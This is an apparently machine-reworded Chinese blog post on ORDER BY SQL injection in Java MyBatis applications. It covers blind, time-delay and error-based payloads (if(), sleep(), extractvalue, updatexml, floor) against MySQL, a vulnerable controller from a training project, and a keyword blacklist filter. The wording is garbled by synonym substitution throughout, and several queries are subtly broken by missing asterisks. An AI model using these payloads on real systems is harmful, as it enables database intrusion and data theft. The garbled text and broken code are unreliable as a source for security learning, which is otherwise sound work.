首页 » 网站推广 » phporderby技巧_关于Java中order by注入详解

phporderby技巧_关于Java中order by注入详解

访客 2024-11-18 0

扫一扫用手机浏览

文章目录 [+]

在mybatis中的,利用#包裹的字段在内部进行了预编译处理,而$并没有利用预编译,也便是原生jdbc中prepareStatement和Statement的差异。
关于order by,当注入点在后面时,是不能连接union的,例如:

select from users order by user;

phporderby技巧_关于Java中order by注入详解

在SQL中是不许可union直接跟在order by后面的,以是我们可以考虑利用盲注或报错注入。

phporderby技巧_关于Java中order by注入详解
(图片来自网络侵删)
利用盲注,也便是看返回值已知字段

利用if条件句,if(1=1,id,user),if函数三个占位,1=1为表达式,也是后续注入紧张利用的地方,表达式为真返回以id排序,为假返回user排序,而真假返回的查询结果是不一样的,以是可以通过这种办法注入。

其他的利用办法还有:

select from users order by (case when (1=1) then user else id end ); //根据user排序select from users order by (case when (1=2) then user else id end ); //根据id排序select from users order by ifnull(null,user);select from users order by ifnull(null,id);select from users order by rand(1=1);select from users order by rand(1=2);未知字段

在实际注入时,可能字段并不是我们提前知道的,那么可能就须要用其余的办法了。

同样以if()为例,只须要改下第三个参数使其查询报错select 1 union select 2,第二个参数也须要改为1(true),之前由于没改导致运行时mysql崩了,乃至连mysql做事都给我干关闭了。


同样的办法还有:

select from users order by if(1=1,1,(select 1 from information_schema.tables)); select from users order by if(1=2,1,(select 1 from information_schema.tables));select from users order by (select 1 regexp if(1=1,1,0x00)); //正则表达式select from users order by (select 1 regexp if(1=2,1,0x00)); //0x00为空导致报错select from users order by (select if((ascii(substr(current,1,1))<0),1,sleep(2)) from (select user() as current) as tb1); //利用sleep延时注入

在利用sleep延时注入须要把稳不能直接大略sleep(x),这样实际延时的韶光将会是x乘以表内列的字段数量,例如我这里延时23秒。

利用报错函数

报错注入的条件是须要做事端代码中将SQL报错语句输出。
紧张是利用extractvalue和updatexml

select from users order by extractvalue(1,(select concat(0x7e,user()))); select from users order by updatexml(1,(select concat(0x7e,user())),1);select from users order by (select 1 from (select count(),concat(user(),floor(rand(0)2))x from information_schema.tables group by x)a); //floor报错注入,Duplicate key安全问题

在mybatis中无论是利用xml或者表明编写SQL语句时,都是推举结合#利用,由于内部利用了预编译,然而在一些分外场景我们并不能这般,如在like后直策应用#包裹变量在运行时是会报错的,推举的写法是concat('%',#{q},'%')。
这里推举一个安全检测插件:MomoSec 可以初步检测一些安全问题

order by 在mybatis中同样不能直策应用#包裹,由于order by后跟的每每是字段名,而预编译在对一个参数利用时会加上引号,字段名是不能加引号的,否则会失落去本来的意思;如 order by id ==> order by 'id' ,这也是为什么在排序的位置常日会存在sql注入。
关于order by 并没有很好的办理方案,以是预编译也不是完备安全的,在防御时还应利用其他方法做好防御,如waf和filter。

案例

代码直策应用的这个项目:Hello-Java-Sec

@GetMapping("/vul/order") public List<User> orderBy(String field, String sort) { log.info("[vul] mybaits: order by " + field + " " + sort); return userMapper.orderBy(field, sort);

UserMapper.xml

<select id="orderBy" resultType="com.best.hello.entity.User"> select from users order by ${field} ${sort} </select>

由于未知列名,利用盲注:结果输出不同

常规的盲注了,python写个脚本即可

上面利用的盲注,springboot项目是默认有报错页面的,以是报错注入也可以

那么代码中是如何防御的呢?实际上他是在xml中固定化了传入参数,id或user,也就没办法注入了。

但是有个问题,当表内字段很大时我们不可能写很多繁芜的匹配判断,以是可以写个filter或waf函数,过滤掉危险字符,所有的用户输入都经由函数过滤也是一种不错的办法。

/ SQL注入检测 / public static boolean checkSql(String content) { String[] black_list = {"'", ";", "--", "+", ",", "%", "=", ">", "<", "", "(", ")", "and", "or", "exec", "insert", "select", "delete", "update", "count", "drop", "chr", "mid", "master", "truncate", "char", "declare"}; for (String s : black_list) { if (content.toLowerCase().contains(s)) { return true; } } return false; }

标签:

相关文章

介绍直播新纪元,轻松进入直播的五大步骤

随着互联网技术的飞速发展,直播行业在我国逐渐崛起,越来越多的人选择通过直播这一新兴媒介展示自己、分享生活、传递价值。对于许多新手来...

网站推广 2025-01-03 阅读1 评论0

介绍相机美颜原理,科技与美学的完美结合

随着科技的发展,智能手机的摄像头功能日益强大,美颜相机成为了许多人拍照的首选。美颜相机不仅满足了人们对于美的追求,更在视觉上给人带...

网站推广 2025-01-03 阅读1 评论0

介绍磁铁的制造,科学与艺术的完美结合

磁铁,一种神秘的物质,自古以来就吸引了无数人的目光。它不仅具有独特的磁性,还能在工业、医疗、科研等领域发挥重要作用。磁铁是如何制造...

网站推广 2025-01-03 阅读1 评论0

介绍电瓶激活方法,让电池焕发新生

随着科技的不断发展,电动汽车逐渐成为人们出行的首选。而电瓶作为电动汽车的核心部件,其性能直接影响着车辆的续航里程和行驶体验。新购买...

网站推广 2025-01-03 阅读1 评论0